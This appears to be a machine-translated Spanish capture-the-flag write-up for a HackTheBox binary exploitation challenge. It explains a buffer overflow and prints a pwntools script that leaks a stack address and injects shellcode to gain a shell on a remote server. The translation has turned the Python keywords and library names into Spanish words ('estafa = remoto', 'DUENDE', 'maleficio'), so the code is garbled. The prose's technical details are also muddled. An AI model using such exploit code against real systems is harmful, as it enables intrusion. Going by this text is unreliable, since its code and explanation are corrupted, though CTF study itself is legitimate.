Cubrimos un escenario de desbordamiento de búfer en el que una variable se declaraba como un entero sin signo y luego se convertía en la función ulong. Esto nos permitió enviar '-1' como entrada a esta variable que redirigió el flujo de ejecución del programa a una declaración if que contenía un fragmento donde una variable de nombre con 96 bytes acepta una entrada sin restricciones del usuario, lo que resultó en un error de segmentación. Calculamos el desplazamiento usando pwndbg con python y creamos el exploit final. Esto fue parte de HackTheBox Bat Computadora | Introducción a la explotación binaria
Notas sobre técnicas de desbordamiento de búfer
El código de explotación está debajo
##Binicio
de pwn importar *
contexto.binario = DUENDE('./batcomputadora')
estafa = remoto(‘157.245.39.76’,31662)
estafa.línea de envío(‘1’)
estafa.recvhasta('0x')
base_pila = En t((“0x”+con.recv().descodificar('latino-1').dividir()[0]),16)
registro.éxito(F'base de pila: {maleficio(base_pila)}‘)
estafa.línea de envío(‘2’)
estafa.línea de envío('b4tp@$$w0rd!')
carga útil = ENSAMBLE(conchas.popad() + conchas.sh()) Código shell #
carga útil += b'A'*(84 – len(carga útil)) # nop
carga útil += p64(base_pila) Base de pila #
estafa.línea de envío(carga útil)
estafa.línea de envío(‘3’)
estafa.interactivo()
##Final
Tutorial en vídeo
Mostrar Comentarios